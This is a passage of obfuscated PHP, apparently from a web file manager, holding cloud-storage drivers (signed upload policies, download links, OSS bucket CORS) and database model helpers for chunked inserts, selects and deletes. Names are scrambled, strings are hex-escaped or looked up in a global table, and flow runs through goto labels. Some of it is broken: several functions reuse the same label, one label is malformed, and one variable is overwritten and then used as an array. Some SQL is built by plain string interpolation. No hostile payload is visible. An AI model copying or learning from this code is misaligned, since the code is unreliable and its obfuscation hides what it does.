eލ: } private function uploadPart($aÞ, $Cֿ, &$Aٵڐ) { $AՅ =& $_SERVER[ȦÆ]; $eÌ = array($AՅ[1256], $AՅ[1254] . $Cֿ[$AՅ[1255]], $AՅ[1257] . $Cֿ[$AՅ[1251]], $AՅ[1258] . $Cֿ[$AՅ[1252]]); $eډ = $this->ussRequest($aÞ, $AՅ[220], $Aٵڐ, $eÌ); return !$eډ[$AՅ[1025]] ? $eډ[$AՅ[1025]] : $eډ[$AՅ[1027]]; } public function uploadFormData($A, $Cς = 3600) { return $this->uploadPolicy($A, $Cς); } public function multiUploadFormData($E, $Cɉ = 3600) { $BӬ쪡 =& $_SERVER[ȦÆ]; $CƉҿ = (int) $GLOBALS[$BӬ쪡[17]][$BӬ쪡[87]]; return $this->uploadPolicy($E, $Cɉ, $CƉҿ); } private function uploadPolicy($F, $bĺ = 3600, $f٤ = 0) { goto Fȋт; f㊙؍: $D = array($d猆[1259] => $this->bucket, $d猆[1260] => $F, $d猆[1261] => time() + $bĺ, $d猆[1262] => $e眹); if ($f٤) { $D[$d猆[1177]] = $f٤; } $Bʆ = base64_encode(json_encode($D)); goto fԉ; fԉ: $bЂ = base64_encode(hash_hmac($d猆[1228], "\x50\x4f\123\x54\46{$f}\46{$e眹}\46{$Bʆ}", md5("{$this->userpass}"), !0)); $Aӧ = array($d猆[1098] => $Bʆ, $d猆[1263] => "\x55\120\131\x55\x4e\40{$this->username}\72{$bЂ}", $d猆[175] => $this->endpoint . $f); return $Aӧ; goto C; Fȋт: $d猆 =& $_SERVER[ȦÆ]; $f = $d猆[18] . $this->bucket; $e眹 = gmdate($d猆[1191]); goto f㊙؍; C: } public function download($Fɏ, $eߐ) { goto Eǒ; Eǒ: $eƟ׾ = IO::getPathInner(IO::mkfile($eߐ)); if (!($b⋦ = $this->link($Fɏ))) { return !1; } $DԲ = 0; goto BщТ; BҢ: fclose($Dֆ); return $eߐ; goto Aخ; BщТ: $cʧ = 1024 * 200; $Dֆ = fopen($eƟ׾, $_SERVER[ȦÆ][1212]); while (!0) { $FԽ = $this->fileSubstr($Fɏ, $DԲ, $cʧ); if ($FԽ === !1) { return !1; } fwrite($Dֆ, $FԽ); $DԲ += $cʧ; if (strlen($FԽ) < $cʧ) { break; } } goto BҢ; Aخ: } public function link($Fސ, $b = array()) { $dò =& $_SERVER[ȦÆ]; $Fސ = trim($Fސ, $dò[18]); if (!empty($this->token)) { $b = strtotime(date($dò[1264])); $Cʖ = substr(md5($this->token . $dò[277] . $b . $dò[1265] . $Fސ), 12, 8) . $b; $b[] = $dò[1266] . $Cʖ; } $bמ = !empty($b) ? $dò[79] . implode($dò[277], $b) : $dò[43]; return $this->getHost() . $dò[18] . $Fސ . $bמ; } public function fileOut($DƉ, $d΍ = false, $f͟Ӈ = false, $cꪊ = '') { if (!$f͟Ӈ) { $f͟Ӈ = $this->pathThis($DƉ); } $B͏ = $d΍ ? array($_SERVER[ȦÆ][1267] . rawurlencode($f͟Ӈ)) : array(); $Dň = $this->link($DƉ, $B͏); $this->fileOutLink($Dň); } public function fileOutServer($D횇, $f = false, $D = false, $F = '') { parent::fileOut($D횇, $f, $D, $F); } public function fileOutImage($f䑼, $F䅧 = 250) { $B҃ = $this->link($f䑼 . $_SERVER[ȦÆ][1268] . $F䅧); $this->fileOutLink($B҃); } public function fileOutImageServer($Cߢƚ, $A҃ = 250) { parent::fileOutImage($Cߢƚ, $A҃); } public function hashMd5($Fƚ) { $f؍Τ =& $_SERVER[ȦÆ]; $d֬ = $this->objectMeta($Fƚ); return isset($d֬[$f؍Τ[202]]) ? $d֬[$f؍Τ[202]] : !1; } public function size($a) { $b̖ = $this->objectMeta($a); return $b̖ ? $b̖[$_SERVER[ȦÆ][87]] : 0; } public function info($Aڗ) { if ($this->isFolder($Aڗ)) { return $this->folderInfo($Aڗ); } else { if ($this->isFile($Aڗ)) { return $this->fileInfo($Aڗ); } } return !1; } public function exist($dբ) { return $this->isFile($dբ) || $this->isFolder($dբ); } public function isFile($cҶ) { return !$this->isFolder($cҶ) && $this->objectMeta($cҶ); } public function isFolder($d엻) { return $this->cacheMethod($_SERVER[ȦÆ][228], $d엻); } protected function objectMeta($B魌) { return $this->cacheMethod($_SERVER[ȦÆ][229], $B魌); } protected function _objectMeta($A) { goto C; D: $a = array($b녈[38] => get_path_this($A), $b녈[39] => isset($DՐʣ[$b녈[1270]]) ? $DՐʣ[$b녈[1270]] : null, $b녈[87] => isset($DՐʣ[$b녈[1271]]) ? $DՐʣ[$b녈[1271]] : null, $b녈[202] => isset($DՐʣ[$b녈[1272]]) ? $DՐʣ[$b녈[1272]] : null, $b녈[1239] => isset($DՐʣ[$b녈[1273]]) ? $DՐʣ[$b녈[1273]] : null); $a[$b녈[1240]] = isset($DՐʣ[$b녈[1274]]) ? strtotime($DՐʣ[$b녈[1274]]) : $a[$b녈[1239]]; return $a; goto E; C: $b녈 =& $_SERVER[ȦÆ]; if ($A == $b녈[43] || $A == $b녈[18]) { return array(); } $Fnjӄ = $this->ussRequest($A, $b녈[1269]); goto eȭ; eȭ: if (!$Fnjӄ[$b녈[1025]]) { return null; } $DՐʣ = isset($Fnjӄ[$b녈[1027]]) ? $Fnjӄ[$b녈[1027]] : array(); if (!isset($DՐʣ[$b녈[1270]])) { return null; } goto D; E: } protected function _isFolder($B˶ߴ) { $FӮ =& $_SERVER[ȦÆ]; if ($B˶ߴ == $FӮ[43] || $B˶ߴ == $FӮ[18]) { return !0; } $e© = $this->objectMeta($B˶ߴ); return isset($e©[$FӮ[39]]) && $e©[$FӮ[39]] == $FӮ[86] ? !0 : !1; } } goto F; E: class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\144\151\x66\171\124\x69\155\x65", "\x74\151\155\145", "\151\156\x73\145\162\164\54\x75\x70\x64\x61\164\145", "\146\165\x6e\x63\x74\151\157\x6e"), array("\143\x72\x65\x61\164\x65\x54\151\155\145", "\164\x69\155\x65", "\x69\x6e\163\145\162\164", "\146\165\x6e\x63\164\x69\x6f\156")); public function setDataAuto($AѨބ) { $this->dataAuto = $AѨބ; } public function __construct($Dა = '', $cߤ׊ = '', $f⭘ = '') { parent::__construct($Dა, $cߤ׊, $f⭘); } public static function textEncode($fʼn) { if (!$fʼn) { return $fʼn; } $F = json_encode($fʼn); $F = preg_replace_callback($_SERVER[ȦÆ][347], function ($eѪ) { return addslashes($eѪ[0]); }, $F); return json_decode($F); } public static function textDecode($A) { $D㲘 =& $_SERVER[ȦÆ]; $c = json_encode($A); $c = preg_replace_callback($D㲘[348], function ($a) { return $_SERVER[ȦÆ][103]; }, $c); return json_decode($c); } protected $tableMeta = array(); protected function _beforeInsert(&$fˆ, $AԾģ) { $aɳ =& $_SERVER[ȦÆ]; if (!$this->checkDataAutoHas($aɳ[349])) { return; } $this->dataBeforeFilter($fˆ, $aɳ[349]); } protected function _beforeUpdate(&$c˴, $bو) { $e͓ =& $_SERVER[ȦÆ]; if (!$this->checkDataAutoHas($e͓[350])) { return; } $this->dataBeforeFilter($c˴, $e͓[350]); } protected function _afterSelect(&$dք, $dڣᄬ) { if (!is_array($dք)) { return; } if (!$this->checkDataAutoHas($_SERVER[ȦÆ][351])) { return; } foreach ($dք as &$bٗ҅) { $this->dataAfterFilter($bٗ҅); } } protected function _afterFind(&$aؕ, $b) { if (!is_array($aؕ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ȦÆ][351])) { return; } $this->dataAfterFilter($aؕ); } public function setAutoIncrement($fޤޟ) { $BЍ = array($this->getPk() => $fޤޟ); $Aϧ = $this->data($BЍ)->add(); if ($Aϧ) { $this->delete($Aϧ); } } public function getAutoIncrement() { $a鑉 = $this->getTableName(); $a䓧 = $this->max($this->getPk()); $Cėֆ = $this->query("\x73\x68\x6f\167\x20\164\x61\x62\x6c\x65\x20\x73\164\141\x74\165\x73\x20\x77\x68\x65\x72\145\40\x4e\x61\x6d\x65\x3d\x27{$a鑉}\x27"); $dц = $Cėֆ[0][$_SERVER[ȦÆ][352]]; $Fٌѯ = max($a䓧, $dц); return $Fٌѯ; } protected function _callBefore($Bꊾǖ, $F) { return $this->cacheCallCheck($Bꊾǖ, $F, !1); } protected function _callAfter($bұ, $b) { return $this->cacheCallCheck($bұ, $b, !0); } protected function cacheFunctionAlias($Dƃ) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($eѣ훋, $E, $bϴ˖ = false) { $d = $this->cacheFunctionAlias($E); if (!$d) { return; } foreach ($d as $f崐 => $d) { $eՕ = $d[0]; $F = explode($_SERVER[ȦÆ][57], $d[1]); if ($eѣ훋 == $f崐) { return $this->cacheFunctionGet($f崐, $eՕ); } if ($bϴ˖ && in_array($eѣ훋, $F)) { $this->cacheFunctionClear($f崐, $eՕ); } } } public function cacheFunctionGet($cƑ, $A) { $c앎㘡 = $this->cacheKeyMake($cƑ, $A); $F = Cache::get($c앎㘡); if (!is_array($F)) { $F = call_user_func_array(array($this, $cƑ), array($A, !0)); Cache::set($c앎㘡, $F); } return $F; } public function cacheFunctionClear($DǠ, $a) { $B澪 = $a; if (!is_array($a)) { $B澪 = array($a); } foreach ($B澪 as $C̺Բސ) { $d = $this->cacheKeyMake($DǠ, $C̺Բސ); Cache::remove($d); } } private function cacheKeyMake($b븂, $Aƛ) { $Eʈ =& $_SERVER[ȦÆ]; return get_class($this) . $Eʈ[80] . $b븂 . $Eʈ[353] . $Aƛ; } protected function selectPage($Bܼ = 200, $d = 1) { goto Eë; a: if ($E芹 == 1) { $d = count($D눖“); } $dϖ쳛 = array($B[356] => array($B[357] => $d, $B[354] => $Bܼ, $B[345] => $d, $B[358] => $E芹), $B[359] => $D눖“ ? $D눖“ : array()); return $dϖ쳛; goto d̃; e㕻: $F = $A; $F[$B[355]] = array(); $this->optionsValue($F); goto b; Cõ;: $this->optionsValue($A); $D눖“ = $this->page($d, $Bܼ)->select(); $D눖“ = is_array($D눖“) ? $D눖“ : array(); goto a; Fᡘ: $f۲Ш = 4000; $Bܼ = isset($in[$B[354]]) ? $in[$B[354]] : $Bܼ; if ($Bܼ === -1) { unset($in[$B[354]]); $f۲Ш = 100000000; $Bܼ = $f۲Ш; } goto e㕻; eޤ: $E芹 = ceil($d / $Bܼ); $d = intval(isset($in[$B[345]]) ? $in[$B[345]] : $d); $d = $d <= 1 ? 1 : ($d >= $E芹 ? $E芹 : $d); goto Cõ;; Eë: $B =& $_SERVER[ȦÆ]; global $in; $A = $this->optionsValue(); goto Fᡘ; b: $d = intval($this->count()); $Bܼ = intval($Bܼ); $Bܼ = $Bܼ <= 5 ? 5 : ($Bܼ >= $f۲Ш ? $f۲Ш : $Bܼ); goto eޤ; d̃: } protected function checkLength($bȃ, $e˂ = 0, $eŪ = '') { $B΄ =& $_SERVER[ȦÆ]; $e˂ = $e˂ ? $e˂ : 65536; if (!$bȃ || strlen($bȃ) < $e˂) { return; } $eŪ = $eŪ ? $eŪ . $B΄[77] : $B΄[43]; show_json($eŪ . LNG($B΄[360]) . "\50{$e˂}\x29", !1); } protected function metaSet($f墦, $b냝 = null, $dΞ = null) { goto eԡ; eԡ: $F쩺ў =& $_SERVER[ȦÆ]; if (!$this->tableMeta) { return !1; } $a߹ = $this->tableMeta[$F쩺ў[361]]; goto fҿђ; E: if (is_string($b냝)) { $dֱ[$b냝] = $dΞ; } $a = array(); foreach ($dֱ as $dّͺ => $Fܓ툊) { $this->checkLength($Fܓ툊, !1, $F㉉߃ . $F쩺ў[4] . $dّͺ); $a[] = array($a߹ => $f墦, $F쩺ў[99] => $dّͺ, $F쩺ў[364] => $Fܓ툊); } goto f; E: if (is_null($b냝)) { return $fб->where(array($a߹ => $f墦))->delete(); } if (is_null($dΞ)) { return $fб->where($FĬ)->delete(); } $dֱ = is_array($b냝) ? $b냝 : array(); goto E; fҿђ: $F㉉߃ = $this->tableMeta[$F쩺ў[362]]; $fб = Model($F㉉߃); $FĬ = array($a߹ => $f墦, $F쩺ў[363] => $b냝); goto E; f: $fб->where(array($a߹ => $f墦))->addAll($a, array(), !0); return !0; goto fڵǑ; fڵǑ: } public function metaGet($fƾ) { goto c; c: $f = Model($this->tableMeta[$A׎[362]]); $f = array($eڈܖ => $fƾ); $A䙆 = $f->field($A׎[365])->where($f)->select(); goto BӒǂ; BӒǂ: $A䙆 = array_to_keyvalue($A䙆, $A׎[99], $A׎[364]); return $A䙆; goto d쉩ǵ; c: $A׎ =& $_SERVER[ȦÆ]; if (!$this->tableMeta) { return array(); } $eڈܖ = $this->tableMeta[$A׎[361]]; goto c; d쉩ǵ: } private function checkDataAutoHas($bГ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $c߼̪) { if (in_array($bГ, explode($_SERVER[ȦÆ][57], $c߼̪[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$eׂ, $FȞǜ) { $Bϯ =& $_SERVER[ȦÆ]; foreach ($this->dataAuto as $aڨ) { $dDž = $aڨ[0]; if (!in_array($FȞǜ, explode($Bϯ[57], $aڨ[2]))) { continue; } switch (trim($aڨ[3])) { case $Bϯ[314]: case $Bϯ[315]: $fêÕ = $aڨ[1]; $d = isset($aڨ[4]) ? (array) $aڨ[4] : array(); if ($fêÕ == $Bϯ[196] && array_key_exists($dDž, $eׂ)) { if (!$eׂ[$dDž]) { unset($eׂ[$dDž]); } break; } if (isset($eׂ[$dDž])) { array_unshift($d, $eׂ[$dDž]); } if ($Bϯ[314] == $aڨ[3]) { $eׂ[$dDž] = call_user_func_array($fêÕ, $d); } else { $eׂ[$dDž] = call_user_func_array(array(&$this, $fêÕ), $d); } break; case $Bϯ[266]: $eׂ[$dDž] = $eׂ[$aڨ[1]]; break; case $Bϯ[287]: if (isset($eׂ[$dDž]) && !is_string($eׂ[$dDž])) { $eׂ[$dDž] = json_encode_force($eׂ[$dDž]); } break; case $Bϯ[316]: if ($eׂ[$dDž] === $Bϯ[43]) { unset($eׂ[$dDž]); } break; case $Bϯ[317]: $eׂ[$dDž] = $aڨ[1]; default: break; } } if ($FȞǜ == $Bϯ[349]) { $b = strtolower($this->db->getDbType()); if (strpos($b, $Bϯ[19]) !== 0) { return; } $Dұ = $this->field(!0)->fields; $Fڶȣ = $Dұ[$Bϯ[245]]; if (isset($Dұ[$Bϯ[244]])) { unset($Fڶȣ[$Dұ[$Bϯ[244]]]); } foreach ($Fڶȣ as $c => $FȞǜ) { if (!isset($eׂ[$c])) { $eׂ[$c] = $Bϯ[43]; } } } } private function dataAfterFilter(&$d·ߜ) { $Cݟ =& $_SERVER[ȦÆ]; foreach ($this->dataAuto as $CȎ) { $cӶ = $CȎ[0]; if (!in_array($Cݟ[351], explode($Cݟ[57], $CȎ[2]))) { continue; } if (!isset($d·ߜ[$cӶ])) { continue; } switch (trim($CȎ[3])) { case $Cݟ[314]: case $Cݟ[315]: $F羲 = isset($CȎ[4]) ? (array) $CȎ[4] : array(); array_unshift($F羲, $d·ߜ[$cӶ]); if ($Cݟ[314] == $CȎ[3]) { $d·ߜ[$cӶ] = call_user_func_array($CȎ[1], $F羲); } else { $d·ߜ[$cӶ] = call_user_func_array(array(&$this, $CȎ[1]), $F羲); } break; case $Cݟ[266]: $d·ߜ[$cӶ] = $d·ߜ[$CȎ[1]]; break; case $Cݟ[287]: $B۷ = $d·ߜ[$cӶ]; $d·ߜ[$cӶ] = json_decode($B۷, !0); if (is_null($d·ߜ[$cӶ])) { $d·ߜ[$cӶ] = $B۷; } break; case $Cݟ[316]: if ($d·ߜ[$cӶ] === $Cݟ[43]) { unset($d·ߜ[$cӶ]); } break; case $Cݟ[317]: $d·ߜ[$cӶ] = $CȎ[1]; default: break; } } } public function saveAll($F) { goto F٨¶; F٨¶: $f =& $_SERVER[ȦÆ]; $e壔 = $this->tablePrefix . $this->tableName; $d緆 = self::SQL_WHERE_IN_CHUNK; goto AȘ; AȘ: $F = is_array($F) ? $F : array(); $Aփ = $f[366]; $eж = 0; goto cꞫ; cꞫ: $b؃۷ = array(); $d޽波 = count($F); for ($A䙶 = 0; $A䙶 < $d޽波; $A䙶++) { $b؆Ꮃ = $F[$A䙶]; if (!is_array($b؆Ꮃ) || count($b؆Ꮃ) != 4) { continue; } $BѼ = "\125\120\104\x41\124\105\40{$e壔}\x20\123\x45\124\x20{$b؆Ꮃ[2]}\x20\75\40\x43\101\x53\105\x20{$b؆Ꮃ[0]}\40\12"; if ($eж == 0) { $Aփ = $BѼ; } $b؃۷[] = $f[122] . $b؆Ꮃ[1] . $f[122]; $eж++; $Aփ .= "\40\127\110\x45\116\x20\47{$b؆Ꮃ[1]}\x27\40\x54\110\x45\116\x20\47{$b؆Ꮃ[3]}\47\x20\12"; if ($eж == $d緆 || $A䙶 == $d޽波 - 1) { goto b…; Eí: $b؃۷ = array(); goto Aׂ; d: $eж = 0; $Aփ = $BѼ; $this->chunkEventCheck(count($b؃۷)); goto Eí; b…: $b׷ = implode($f[57], $b؃۷); $Aփ .= "\x20\105\116\104\40\40\x57\x48\105\x52\105\x20{$b؆Ꮃ[0]}\x20\111\116\40\50{$b׷}\51\40"; $this->execute($Aփ); goto d; Aׂ: } } goto Bܗɍ; Bܗɍ: $this->chunkEventSet(); goto Bұ; Bұ: } public function saveAllEach($aÉï) { $c찥 =& $_SERVER[ȦÆ]; $c = $this->tablePrefix . $this->tableName; foreach ($aÉï as $d) { if (!is_array($d) || count($d) != 4) { continue; } $cͅ = $d[0] . $c찥[367] . $d[1] . $c찥[122]; $aڅݡ = $d[2] . $c찥[367] . $d[3] . $c찥[122]; $FÕ = "\165\160\144\x61\164\x65\x20{$c}\x20\x73\145\164\x20{$aڅݡ}\x20\x77\x68\145\162\145\40{$cͅ}\73"; $this->execute($FÕ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($dĜ = false, $A = false) { $this->_chunkEvent = $dĜ; $this->_chunkEventParam = $A; } private function chunkEventCheck($cӚ) { if (!$this->_chunkEvent) { return; } $A = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $A[$_SERVER[ȦÆ][368]] = $cӚ; Hook::trigger($this->_chunkEvent, $A); } public function addAll($Cׯ, $A򫓍 = array(), $c = false) { goto B尋冊; eиÍ: if (empty($Cׯ)) { $this->error = think_lang($aޠ[264]); return !1; } $A򫓍 = $this->_parseOptions($A򫓍); foreach ($Cׯ as $Dя => $E) { $Cׯ[$Dя] = $this->_facade($E); $this->_beforeInsert($Cׯ[$Dя], $A򫓍); } goto E̾ӛ; B尋冊: $aޠ =& $_SERVER[ȦÆ]; ignore_timeout(); $a˵ = self::SQL_WHERE_IN_CHUNK; goto eиÍ; E̾ӛ: if (method_exists($this->db, $aޠ[265])) { for ($c񏉅 = 0; $c񏉅 < count($Cׯ); $c񏉅 += $a˵) { $a = array_slice($Cׯ, $c񏉅, $a˵); if (!is_array($a) || count($a) == 0) { break; } $Bͪĵ = $this->db->insertAll($a, $A򫓍, $c); $this->chunkEventCheck(count($a)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($Cׯ as $Dя => $E) { $Bͪĵ = $this->db->insert($E, $A򫓍, $c); } $this->commit(); } if (!1 !== $Bͪĵ) { $e = $this->getLastInsID(); if ($e) { return $e; } } return $Bͪĵ; goto Dꥣ; Dꥣ: } public function save($C؟ں = '', $e = array()) { goto dķ̘; A퉔: for ($FĭŤ = 0; $FĭŤ < $C̰Ժ; $FĭŤ += $e) { $eȎЈ = array_slice($f, $FĭŤ, $e); if (!is_array($eȎЈ) || count($eȎЈ) == 0) { break; } $b[$bӠ[268]][$f][1] = $eȎЈ; $this->optionsValue($b); $Aߨۺ += parent::save($C؟ں, $e); $this->chunkEventCheck(count($eȎЈ)); } $this->chunkEventSet(); return $Aߨۺ; goto d; Fɿ: $f = $b[$bӠ[268]][$f][1]; $f = is_array($f) ? $f : array(); $C̰Ժ = count($f); goto A퉔; bۦ: $f = $this->findWhereField($b); if (!$f) { return parent::save($C؟ں, $e); } $Aߨۺ = 0; goto Fɿ; dķ̘: $bӠ =& $_SERVER[ȦÆ]; $e = self::SQL_WHERE_IN_CHUNK; $b = $this->optionsValue(); goto bۦ; d: } public function add($aչ = '', $Fƻ = array(), $dʫ = false) { if ($this->addTaskStatus && is_array($aչ)) { $this->addTaskData[] = $aչ; return; } return parent::add($aչ, $Fƻ, $dʫ); } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($a٘铸 = array()) { goto aب; C̤Ү: $Fݙ߬ = is_array($Fݙ߬) ? $Fݙ߬ : array(); $E = null; for ($B՛ = 0; $B՛ < count($Fݙ߬); $B՛ += $b) { $D = array_slice($Fݙ߬, $B՛, $b); if (!is_array($D) || count($D) == 0) { break; } $eÉ[$E[268]][$C݅][1] = $D; $this->optionsValue($eÉ); $F⑟ = parent::select($a٘铸); if (!$F⑟) { continue; } if (is_null($E)) { $E = array(); } $E = array_merge($E, $F⑟); } goto Dϋ؍; aӄ: $C݅ = $this->findWhereField($eÉ); if (!$C݅ || isset($eÉ[$E[285]]) || isset($eÉ[$E[345]])) { return parent::select($a٘铸); } $Fݙ߬ = $eÉ[$E[268]][$C݅][1]; goto C̤Ү; aب: $E =& $_SERVER[ȦÆ]; $b = self::SQL_WHERE_IN_CHUNK; $eÉ = $this->optionsValue(); goto aӄ; Dϋ؍: return $E; goto bݝ; bݝ: } public function delete($F = array()) { goto d; c͘ܯƋ: $a㇗ = $this->findWhereField($eѸ); if (!$a㇗) { return parent::delete($F); } $D̃ = 0; goto Fփ; d󇧆: return $D̃; goto EѠ; Fփ: $Aڞ = $eѸ[$f炘[268]][$a㇗][1]; $Aڞ = is_array($Aڞ) ? $Aڞ : array(); for ($aÑ缫 = 0; $aÑ缫 < count($Aڞ); $aÑ缫 += $aҾҸ) { $EǗŮ = array_slice($Aڞ, $aÑ缫, $aҾҸ); if (!is_array($EǗŮ) || count($EǗŮ) == 0) { break; } $eѸ[$f炘[268]][$a㇗][1] = $EǗŮ; $this->optionsValue($eѸ); $D̃ += parent::delete($F); } goto d󇧆; d: $f炘 =& $_SERVER[ȦÆ]; $aҾҸ = self::SQL_WHERE_IN_CHUNK; $eѸ = $this->optionsValue(); goto c͘ܯƋ; EѠ: } private function findWhereField($Dڤ) { $f׌ =& $_SERVER[ȦÆ]; $F = self::SQL_WHERE_IN_CHUNK; if (!is_array($Dڤ) || !is_array($Dڤ[$f׌[268]])) { return !1; } foreach ($Dڤ[$f׌[268]] as $F户 => $B䓜) { if (is_array($B䓜) && isset($B䓜[0]) && is_string($B䓜[0]) && strtolower($B䓜[0]) == $f׌[17] && is_array($B䓜[1]) && count($B䓜[1]) > $F) { ignore_timeout(); return $F户; } } return !1; } } class ModelBaseLight { public $optionType = ''; public $modelType = "\123\171\163\164\x65\155\x4f\160\x74\151\x6f\156"; public $field = array(); public function listData($E = false, $b = "\x6d\157\x64\x69\146\x79\x54\x69\155\145", $Fج = false) { $aϮ = Model($this->modelType)->get(!1, $this->optionType, !0); if (!$aϮ) { return $E ? null : array(); } if (!$E) { $aϮ = array_filter(array_values($aϮ)); return array_sort_by($aϮ, $b, $Fج); } return $aϮ[$_SERVER[ȦÆ][369] . $E]; } public function insert($C) { goto aǴ; F̹: $f复 = $f复 ? $f复 : 0; $C[$B[372]] = ++$f复; $C[$B[193]] = time(); goto E׈蝯; dؠႱ: return $f复; goto E; aǴ: $B =& $_SERVER[ȦÆ]; $C = array_field_key($C, $this->field); $f复 = Model($this->modelType)->get($B[370], $this->optionType . $B[371]); goto F̹; E׈蝯: $C[$B[116]] = time(); Model($this->modelType)->set($B[370], $f复, $this->optionType . $B[371]); Model($this->modelType)->set($B[369] . $f复, $C, $this->optionType); goto dؠႱ; E: } public function update($dÕ, $EБ) { goto c݉ɤ; aσ: if (!$f) { return !1; } $EБ = array_merge($f, $EБ); $EБ[$bӲ[116]] = time(); goto bԊ; c݉ɤ: $bӲ =& $_SERVER[ȦÆ]; $EБ = array_field_key($EБ, $this->field); $f = $this->listData($dÕ); goto aσ; bԊ: return Model($this->modelType)->set($bӲ[369] . $dÕ, $EБ, $this->optionType); goto f벌; f벌: } public function remove($D) { return Model($this->modelType)->remove($_SERVER[ȦÆ][369] . $D, $this->optionType); } public function clear() { $C =& $_SERVER[ȦÆ]; Model($this->modelType)->remove($C[370], $this->optionType . $C[371]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($CҖ㹎, $A„) { if (!$A„) { return !1; } $eLJ = $this->listData(); $eLJ = array_to_keyvalue($eLJ, $CҖ㹎); return isset($eLJ[$A„]) ? $eLJ[$A„] : !1; } public function findByName($Eɛ) { return $this->findByKey($_SERVER[ȦÆ][38], $Eɛ); } protected function resetData($c㧘С) { $fʂԄ =& $_SERVER[ȦÆ]; $c㧘С = is_array($c㧘С) ? $c㧘С : array(); $a = array(); for ($F߬ = 0; $F߬ < count($c㧘С); $F߬++) { $a[$fʂԄ[369] . $c㧘С[$F߬][$fʂԄ[372]]] = $c㧘С[$F߬]; } return Model($this->modelType)->set($a, !1, $this->optionType); } private function getAutoName($D×ۄ) { $C = array_to_keyvalue($this->listData(), $_SERVER[ȦÆ][38]); if (!$C || !isset($C[$D×ۄ])) { return $D×ۄ; } for ($E = 1; $E < count($C); $E++) { $aƛ = $D×ۄ . "\x28{$E}\51"; if (!isset($C[$aƛ])) { return $aƛ; } } return $aƛ; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($Dׇ = false, $c = '', $A = false) { goto aل; aɔƷ: $this->cacheSet($c, $b); $b = array_merge($e, $b); return $Dׇ ? $b[$Dׇ] : $b; goto E񑌂; E: $e = is_array($e) ? $e : array(); if (is_array($b)) { $b = array_merge($e, $b); return $Dׇ ? isset($b[$Dׇ]) ? $b[$Dׇ] : null : $b; } $f = $this->filterWhere(array($C[39] => $c)); goto D; aل: $C =& $_SERVER[ȦÆ]; $b = $this->cacheGet($c); $e = $this->optionDefault($c); goto E; D: $b = $this->where($f)->select(); $b = array_to_keyvalue($b, $C[99], $C[364]); foreach ($b as $b => $bȮƈ) { if ($A || in_array($b, $this->jsonField)) { $b[$b] = json_decode($bȮƈ, !0); } } goto aɔƷ; E񑌂: } public function set($Fɿ, $dذ = false, $e = '') { goto EÎ; A֘: $Bö = is_array($Fɿ) ? $Fɿ : array($Fɿ => $dذ); foreach ($Bö as $eѓן => $dچȕ) { if (is_array($dچȕ)) { $dچȕ = json_encode_force($dچȕ); } $this->checkLength($dچȕ, !1, $this->tableName . $E[4] . $Fɿ); $dچȕ = self::textEncode($dچȕ); $Bö = array($E[39] => $e, $E[99] => $eѓן, $E[364] => $dچȕ); $F[] = $this->filterWhere($Bö); } if (!$F) { return !0; } goto C; EÎ: $E =& $_SERVER[ȦÆ]; $this->cacheRemove($e); $F = array(); goto A֘; C: return $this->addAll($F, array(), !0); goto B; B: } protected function optionDefault($e = '') { return !1; } public function setDeep($cʍԊ, $d٘ = false, $f顝 = '') { $e = explode($_SERVER[ȦÆ][101], $cʍԊ); $Bא׌ = $this->get(); array_set_value($Bא׌, $cʍԊ, $d٘); $this->set($e[0], $Bא׌[$e[0]], $f顝); } public function remove($Dͷ, $Cռ = '') { $d =& $_SERVER[ȦÆ]; $this->cacheRemove($Cռ); $CԨ = $this->filterWhere(array($d[99] => $Dͷ, $d[39] => $Cռ)); if (is_null($Dͷ)) { unset($CԨ[$d[99]]); } return $this->where($CԨ)->delete(); } public function cacheSet($fӴٰ, $b¦ = false) { return Cache::set($this->cacheKey($fӴٰ), $b¦); } public function cacheGet($F܄) { return Cache::get($this->cacheKey($F܄)); } public function cacheRemove($DݔК) { return Cache::remove($this->cacheKey($DݔК)); } protected function filterWhere($aՆ) { return $aՆ; } protected function cacheKey($CՕ) { return $CՕ; } } goto eˎ; F۴ӭ: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($c†) { parent::__construct($c†); $this->signatureVersion($_SERVER[ȦÆ][206]); } public function fileOutLink($dćý) { $f܄ɷ =& $_SERVER[ȦÆ]; if (substr($dćý, 0, 7) == $f܄ɷ[1101]) { $dćý = $f܄ɷ[1102] . substr($dćý, 7); } header($f܄ɷ[162] . $dćý); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($e圉) { parent::__construct(); include_once SDK_DIR . $_SERVER[ȦÆ][1157]; $this->_init($e圉); } public function _init($CяÖ) { foreach ($CяÖ as $C흙 => $b) { if (isset($this->{$C흙})) { $this->{$C흙} = $b; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ȦÆ][1158], !1); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { goto Dǒ; e: $C->addRule($e); try { $this->client->putBucketCors($this->bucket, $C); } catch (OSS\Core\OssException $bٸ) { return !1; } return !0; goto Bʃ; a: $e->addAllowedMethod($e⢥[1162]); $e->addAllowedMethod($e⢥[1163]); $e->addAllowedMethod($e⢥[161]); goto A; Cȶ: $e->addAllowedOrigin($e⢥[1159]); $e->addAllowedMethod($e⢥[1160]); $e->addAllowedMethod($e⢥[1161]); goto a; Dǒ: $e⢥ =& $_SERVER[ȦÆ]; $C = new 